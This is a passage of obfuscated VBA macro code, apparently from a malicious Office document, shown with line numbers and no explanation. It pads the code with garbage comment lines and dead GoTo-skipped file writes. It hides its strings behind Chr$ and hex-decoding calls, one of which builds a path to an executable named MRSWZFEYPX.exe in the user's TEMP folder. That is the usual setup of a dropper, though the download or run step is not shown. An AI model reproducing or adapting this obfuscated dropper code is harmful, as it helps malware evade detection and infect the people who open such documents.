  762. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  763. Close #21
  764. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  765. YeziXGgm:
  766. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  767.  
  768. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  769. pJjokbn = Environ(HEXTOSTRING(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & HEXTOSTRING(Chr$(53) & Chr$(67) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  770. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  771. Dim KMPBRSFT, FMLQVHSY, OWECLMOI As String
  772. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  773. Dim BABDGYVJ, ECYUZNJI, OKGZGWIN As String
  774. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  775.  
  776. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  777. GoTo WjLGZqpf
  778. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  779. Dim JkraCgUg As String
  780. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  781. Open "YXMMXC.ZHX" For Binary As 43
  782. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  783. Put #43, , JkraCgUg
  784. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  785. Close #43
  786. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  787. WjLGZqpf:
  788. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  789.  
  790. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  791. BABDGYVJ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  792. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  793.  
  794. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  795. GoTo IJrNAbOH
  796. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  797. Dim EKfsXEuJ As String
  798. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  799. Open "NOBBWR.XRA" For Binary As 28
  800. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  801. Put #28, , EKfsXEuJ
  802. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  803. Close #28
  804. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  805. IJrNAbOH:
  806. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  807.  
  808. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  809. ECYUZNJI = LTrim(BABDGYVJ)
  810. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  811.  
  812. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  813. GoTo PEhyKTrk
  814. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  815. Dim YRbkdOAl As String
  816. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  817. Open "AZTZEU.CXU" For Binary As 35
  818. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  819. Put #35, , YRbkdOAl
  820. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  821. Close #35
  822. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  823. PEhyKTrk:
  824. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  825.  
  826. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  827. OKGZGWIN = RTrim(ECYUZNJI)
  828. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  829.  
  830. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  831. GoTo CtVxBCLn
  832. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  833. Dim LtiIlzjA As String
  834. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  835. Open "UHXPUH.EPV" For Binary As 51
  836. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  837. Put #51, , LtiIlzjA
  838. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  839. Close #51
  840. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  841. CtVxBCLn:
  842. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  843.  
  844. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  845.  
  846. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  847.  
  848. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  849. GoTo NHpAhegz
  850. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  851. Dim WJlDPiSr As String
  852. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  853. Open "ZVCTNN.VKN" For Binary As 58
  854. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  855. Put #58, , WJlDPiSr
  856. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  857. Close #58
  858. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  859. NHpAhegz:
  860. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  861.  
  862. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  863. KMPBRSFT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  864. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  865. Dim LVREFDQB, XOLCCQML, QBBAZXYA As String
  866. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  867.  
  868. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  869. GoTo uzYXWJdj
  870. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  871. Dim ezJogXPk As String
  872. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  873. Open "SFDCTD.IOH" For Binary As 61
  874. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  875. Put #61, , ezJogXPk
  876. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  877. Close #61
  878. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  879. uzYXWJdj:
  880. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  881.  
  882. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  883. LVREFDQB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  884. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  885.  
  886. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  887. GoTo nHIFYaUg
  888. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  889. Dim wHKNatth As String
  890. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  891. Open "XOFLVK.KEJ" For Binary As 18
  892. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  893. Put #18, , wHKNatth
  894. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  895. Close #18
  896. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  897. nHIFYaUg:
  898. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  899.  
  900. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  901. XOLCCQML = LTrim(LVREFDQB)
  902. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  903.  
  904. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  905. GoTo lEfmxwLd
  906. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  907. Dim hEcYJnjf As String
  908. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  909. Open "LZROLZ.GXY" For Binary As 95
  910. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  911. Put #95, , hEcYJnjf
  912. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  913. Close #95
  914. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  915. lEfmxwLd:
  916. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  917.  
  918. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  919. QBBAZXYA = RTrim(XOLCCQML)
  920. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  921.  
  922. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  923. GoTo bXyXRMHb
  924. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  925. Dim mCjiBVfn As String
  926. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  927. Open "WSNCCF.JYZ" For Binary As 19
  928. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  929. Put #19, , mCjiBVfn
  930. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  931. Close #19
  932. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  933. bXyXRMHb:
  934. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  935.  
  936. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  937.  
  938. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  939.  
  940. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  941. GoTo mbZsXtlt
  942. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  943. Dim hnScjpJy As String
  944. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  945. Open "LAQTTM.GWF" For Binary As 95
  946. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  947. Put #95, , hnScjpJy
  948. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  949. Close #95
  950. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  951. mbZsXtlt:
  952. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  953.  
  954. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  955. FMLQVHSY = LTrim(KMPBRSFT)
  956. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  957. Dim ULLQMTFS, LBTFXLKX, RTJJVUWU As String
  958. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  959.  
  960. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  961. GoTo nHAwWAVU
  962. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  963. Dim xJSUhYwI As String
  964. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  965. Open "GVUAHS.QKO" For Binary As 18
  966. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  967. Put #18, , xJSUhYwI
  968. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  969. Close #18
  970. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  971. nHAwWAVU:
  972. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  973.  
  974. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  975. ULLQMTFS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  976. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  977.  
  978. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  979. GoTo vaIVZOki
  980. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  981. Dim maKpCDGo As String
  982. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  983. Open "WFFVXO.JIH" For Binary As 19
  984. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  985. Put #19, , maKpCDGo
  986. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  987. Close #19
  988. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
